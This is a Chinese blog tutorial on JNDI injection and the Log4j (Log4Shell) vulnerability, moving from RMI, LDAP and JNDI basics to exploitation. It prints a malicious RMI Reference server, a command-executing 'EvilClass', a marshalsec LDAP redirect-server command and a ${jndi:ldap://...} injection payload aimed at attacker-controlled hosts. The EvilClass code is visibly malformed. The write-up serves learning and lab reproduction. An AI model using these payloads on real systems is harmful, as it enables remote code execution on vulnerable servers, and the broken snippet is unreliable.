JNDI注入 -log4j

发布时间 2023-07-20 09:12:07作者: lisenMiller

为了更好的了解jndi,必须了解背后的三个服务提供者 基于SPI接口和JNDI构建起了重要的联系

CORBA

分布式计算的概念中.ORB (object request broker) 表示用于分布式环境中远程调用的中间件.在客户端负责接管调用并请求服务端,服务端负责接收请求并将结果返回

一个简单的CORBA程序由三个部分组成 1.IDL 2.客户端 3.服务端

RMI

remote method invocation java的远程方法调用,为应用提供一个远程调用的接口 理解为java自带的RPC框架

    RPC框架 : remote procedure call 主要功能目标是让构建分布式计算应用更容易

    RPC的调用流程 (图片是copy的)    

        

一个简单的RMI hello world主要有三个部分组成,分别是接口,服务端和客户端

接口定义

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
    String sayHello() throws RemoteException;
}

import java.rmi.registry.Registry;

import java.rmi.registry.LocateRegistry;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class Server implements Hello {

    public Server() {}

    public String sayHello() {
        return "Hello, world!";
    }

    public static void main(String args[]) {

        try {
            Server obj = new Server();
            Hello stub = (Hello) UnicastRemoteObject.exportObject(obj, 1098);  #unicastremoteobject用于JRMP导出远程对象并获取与远程对象的存根
                              
            // Bind the remote object's stub in the registry
            Registry registry = LocateRegistry.getRegistry(1099);
            registry.bind("Hello", stub);

            System.err.println("Server ready");
        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }
    }
}
服务端有两个作用,一方面是实现 Hello
 接口,另一方面是通过 RMI Registry 注册当前的实现。其中涉及到两个端口,1098 表示当前对象的 stub 端口,可以用 0 表示随机选择;另外一个是 1099 端口,表示 rmiregistry 的监听端口,后面会讲到

两个端口的作用和调用时机

  1. RMI注册表的1099端口:

    • 作用:RMI注册表的主要作用是存储远程对象的引用,以便客户端能够获取到这些对象并调用其方法。
    • 调用时机:在服务器端的代码中,通过LocateRegistry.getRegistry(1099)获取到RMI注册表对象,并使用该对象进行后续的操作,例如绑定远程对象到注册表。
  2. 导出远程对象的1098端口:

    • 作用:当服务器端要将一个对象导出为远程对象供客户端调用时,需要指定一个端口。导出远程对象的端口号是客户端与服务器之间进行网络通信的端口号。
    • 调用时机:在服务器端的代码中,通过UnicastRemoteObject.exportObject(obj, 1098)将服务器端的对象导出为远程对象,并指定了1098端口。这样,客户端就可以通过该端口与远程对象进行通信。

客户端代码:

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {
    private Client() {}
    public static void main(String[] args) {

        try {
            Registry registry = LocateRegistry.getRegistry(1099);
            Hello stub = (Hello) registry.lookup("Hello");
            String response = stub.sayHello();
            System.out.println("response: " + response);
        } catch (Exception e) {
            System.err.println("Client exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

LDAP(轻量级目录访问协议)服务端存储数据使用一种树状结构的层次数据库模型,这种模型被称为目录信息树(DIT)。DIT使用一种类似于文件系统的层次结构来组织数据,其中包含根节点、子节点和叶子节点。

在DIT中,数据以条目(entry)的形式存储。每个条目由一个唯一的标识符(Distinguished Name,DN)来标识,DN由多个属性的值组成,这些属性的值按照特定的顺序排列。每个属性都有一个类型(Attribute Type)和一个或多个对应的值(Attribute Values)。

当查询LDAP服务器并查看数据时,数据将按照特定的顺序进行输出。输出顺序通常遵循以下规则:

  1. 子节点优先:首先输出根节点及其直接子节点,然后按照深度优先的顺序输出其他子节点。
  2. 同级节点按照排序规则输出:在同一级别上,节点按照排序规则进行输出,通常按照属性值的字母顺序进行排序。
  3. 属性按照特定顺序输出:对于每个节点,属性及其对应的值按照特定的顺序进行输出,通常按照属性类型的定义顺序进行排序。

 JNDI注入

出了RMI是java特有得远程调用框架,其他都是通用得服务和标准,脱离java独立使用.JNDI就是基于这个基础提供了统一的接口来调用各种服务

JNDI接口 java JDK有5个包实现功能

javax.naming 命名操作,包含context接口和initialcontext接口

javax.naming.directory 用于目录操作,定义了dircontext接口和initialdircontext接口

javax.naming.event 命名目录server中请求时间通知

Reference类

属于Javax.naming的类,对命名/目录系统外部找到对象的引用.提供了JNDI类的引用功能

Reference(String className, String factory, String factoryLocation) 为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。

Reference后又调用了ReferenceWrapper将前面的Reference对象给传进去,这是为什么呢?

其实查看Reference就可以知道原因,查看到Reference,并没有实现Remote接口也没有继承 UnicastRemoteObject类,前面讲RMI的时候说过,需要将类注册到Registry需要实现Remote和继承UnicastRemoteObject类。这里并没有看到相关的代码,所以这里还需要调用ReferenceWrapper将他给封装一下。

 

普通jndi                            

使用JNDI查询DNS服务 ( 静态) 

// DNSClient.java
import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.*;
import java.util.Hashtable;

public class DNSClient {
    public static void main(String[] args) {
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
        env.put(Context.PROVIDER_URL, "dns://114.114.114.114");

        try {
            DirContext ctx = new InitialDirContext(env);    #命名与目录属性的入口dircontext对象
            Attributes res = ctx.getAttributes("example.com", new String[] {"A"});
            System.out.println(res);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

jndi查询ldap ( 静态) 

代码

public class Client {
    public static void main(String[] args) {
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://localhost:8080");

        try {
            DirContext ctx = new InitialDirContext(env);
            DirContext lookCtx = (DirContext)ctx.lookup("cn=bob,ou=people,dc=example,dc=org");
            Attributes res = lookCtx.getAttributes("");
            System.out.println(res);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}
输出:
{mail=mail: bob@example.org, userpassword=userPassword: [B@c038203, objectclass=objectClass: inetOrgPerson, person, top, gn=gn: Bob, sn=sn: Roberts, cn=cn: bob}

动态协议转换 

通过initial_context_factory:用来指定初始化协议的工厂类

provider_url : 提供的对应名称的url地址

public class JNDIDynamic {
    public static void main(String[] args) {
        if (args.length != 1) {
            System.out.println("Usage: lookup <domain>");
            return;
        }
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
        env.put(Context.PROVIDER_URL, "dns://114.114.114.114");

        try {
            DirContext ctx = new InitialDirContext(env);
            DirContext lookCtx = (DirContext)ctx.lookup(args[0]);
            Attributes res = lookCtx.getAttributes("", new String[]{"A"});
            System.out.println(res);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

通过ctx.lookup来实现通过用户的输入去查询对应的域名 所以关键的是lookup里面的内容能不能可控

JNDI在使用RMI协议面临的供给面

最简单的一段服务端JNDI获取RMI指定对象解析

package com.rmi.demo;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/work";
        InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
        initialContext.lookup(uri);//获取指定的远程对象

    }
}

攻击手段

1.编写注册一个恶意的RMI服务

public class ServerExp {

    public static void main(String args[]) {

        try {
            Registry registry = LocateRegistry.createRegistry(1099);   # getregistry(1099)?

            String factoryUrl = "http://localhost:5000/";
            Reference reference = new Reference("EvilClass","EvilClass", factoryUrl);    # reference类前面有介绍
            ReferenceWrapper wrapper = new ReferenceWrapper(reference);    #tips 这里使用jdk 1.8.0-1.8.1 referencewrapper方法已经在最新版本的jdk移除
            registry.bind("Foo", wrapper);

            System.err.println("Server ready, factoryUrl:" + factoryUrl);
        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

2.利用javac命令将加载到的evilclass类编译成class文件挂载到web上    #注意恶意类不能包含package信息

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class EvilClass  {
      Runtime.getRuntime().exec("calc"); #执行任何命令return null;
    }
}

当用户访问主机来到xx.lookup(string) 参数我们使用的exp指定是rmi://attack vps ip/绑定的名字

l如上则是 rmi://attackvps ip /foo 

当加载到我们的evilclass的时候将会在服务器本地执行相应的代码并返回

总结

JNDI 注入的漏洞的关键在于动态协议切换导致请求了攻击者控制的目录服务,进而导致加载不安全的远程代码导致代码执行。漏洞 虽然出现在 InitialContext 及其子类 (InitialDirContext 或 InitialLdapContext) 的 lookup 上,但也有许多其他的方法间接调用了 lookup,比如:

  • InitialContext.rename()
  • InitialContext.lookupLink()

或者在一些常见外部类中调用了 lookup

  • org.springframework.transaction.jta.JtaTransactionManager.readObject()
  • com.sun.rowset.JdbcRowSetImpl.execute()
  • javax.management.remote.rmi.RMIConnector.connect()
  • org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

LOG4J

对低版本 1.8.0 的攻击

漏洞原理

log4j2支持LDAP和RMI协议(只要打印的日志中包括这两个就可以支持),通过名称获得对应的class文件更关键的是会用classloader加载类在本地加载ldap服务端返回的class类.例如:攻击者传入一个恶意class的ldap协议内容.$(jndi:ldap://localhost:9999/test)

创建的这个恶意类可以和上面介绍的类似

漏洞复现

1.搭建恶意ldap服务

使用marshelsec 地址:https://github.com/mbechler/marshalsec marshalsec需要进入Marshalsec文件夹并用MVN进行编译打包 mvn clean package -DskipTests 

  mvn命令解析: 1.clean 清除目标生成的结果 2.package  将项目编译、打包,并将其输出到target目录中。3. -Dskiptests 提高构建速度或者因为某些原因,跳过测试阶段(执行代码确保质量)

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8888/#Test 9999

2.恶意codebase服务搭建

编写恶意的Test.java恶意代码并用javac编译成class类  tips:注意类名要与开启的服务url最后的名字相同

并开启本地的8888 http端口

3漏洞利用 

根据一开始写的文件访问相应的路由

http://client/attack/log4j2?logMsg=${jndi:ldap://localhost:9999/Test}

可以看到cmd上有redirect的日志

也可以看到开启http服务的日志中 Test.class被请求

通过这种方法成功执行Test.class内置的恶意文件

由于受攻击的服务器会自动下载并加载恶意类,所以可以通过下载的恶意类判断攻击者的ip是多少、

下载恶意类可能存在web应用程序的根目录下,存储在web服务器的共享目录中。

绕过高版本JDK限制

Oracle JDK 8u121, 7u131, 6u141及以后的版本,为了限制RMI协议的JNDI利用,将系统属性com.sun.jndi.rmi.object.trustURLCodebase的默认值设置为false,即默认不允许RMI从远程地址加载objectfactory类。